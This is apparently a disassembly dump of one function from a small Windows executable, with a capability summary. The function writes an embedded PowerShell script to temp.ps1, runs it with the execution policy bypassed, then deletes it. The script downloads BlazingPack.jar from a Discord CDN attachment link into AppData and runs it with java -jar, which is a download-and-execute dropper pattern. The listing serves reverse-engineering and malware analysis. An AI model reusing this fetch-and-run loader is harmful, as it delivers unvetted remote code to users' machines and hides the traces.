Function at 0x140001540
Capabilities:
Check if file exists
Create process on windows
Delete file
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rbp + 0x350], rax
xor r14d, r14d
mov r8d, 0x104
lea rdx, [rbp + 0x240]
lea rcx, str._APPDATA_LocalBlazingPack
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov r8d, 0x104
lea rdx, [rbp + 0x130]
lea rcx, str._APPDATA_LocalBlazingPackBlazingPack.jar
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rcx, [rbp + 0x130]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x140001885
lea rdx, str.Plik_nie_istnieje.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400030c0
lea rdx, [0x140003290]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x20]
call fcn.140002b60
nop
cmp qword [rbp + 0xa8], r14
je 0x140001646
lea rdx, str._n_____________downloadDirectory__Join_Path__env:APPDATA_LocalBlazingPack_n_____________downloadFilePath__Join_Path__downloadDirectory_BlazingPack.jar_n_n_____________Create_the_directory_if_it_doesnt_exist_n____________if___not__Test_Path__Path__downloadDirectory__PathType_Container____n________________New_Item__Path__downloadDirectory__ItemType_Directory__Force_n_____________n_n_____________Download_the_file_n____________Invoke_WebRequest__Uri__https:__cdn.discordapp.com_attachments_1178015972687368203_1178496689334652959_BlazingPack.jar_ex65765b92is6563e692hm1650a1ade11f7a77e0c04118af5c114d1817a4fbe2843d2a83ff90e9d0fcfa48___OutFile__downloadFilePath_n____________java__jar__downloadFilePath_n
lea rcx, [rbp + 0x20]
call fcn.1400030c0
lea rcx, [rbp + 0x28]
call fcn.140002fd0
test rax, rax
jne 0x140001646
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r14 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movdqa xmm0, xmmword [0x140005bd0]
movdqu xmmword [rsp + 0x58], xmm0
mov r12d, 0xf
mov qword [rsp + 0x68], r12
mov rcx, qword [str.temp.ps1]
mov qword [rsp + 0x50], rcx
mov byte [rsp + 0x58], 0
mov r8, qword [rsp + 0x60]
mov eax, r12d
sub rax, r8
lea esi, [r12 + 0x1e]
cmp rax, rsi
jb 0x1400016fe
lea rax, [r8 + 0x2d]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
lea rax, [0x1400058fd]
lea r15, str.powershell.exe__ExecutionPolicy_Bypass__File
cmp rax, rbx
jbe 0x1400016c1
lea rax, [rbx + r8]
cmp r15, rax
ja 0x1400016c1
cmp rbx, r15
ja 0x1400016b9
mov rdi, r14
jmp 0x1400016c4
mov rdi, rbx
sub rdi, r15
jmp 0x1400016c4
mov rdi, rsi
inc r8
lea rcx, [rbx + 0x2d]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sub rsi, rdi
lea rdx, [r15 + 0x2d]
add rdx, rdi
lea rcx, [rbx + rdi]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
jmp 0x140001710
mov qword [rsp + 0x28], rsi
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140003570
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r12
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140001779
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001774
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001774
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400037b4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rdx, qword [rbp - 0x70]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000182d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.temp.ps1
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14000182d
lea rcx, str.temp.ps1
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x14000186b
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001866
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001866
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400037b4
movdqa xmm0, xmmword [0x140005be0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
lea rcx, [rbp + 0x20]
call fcn.1400018c0
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.140003750
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret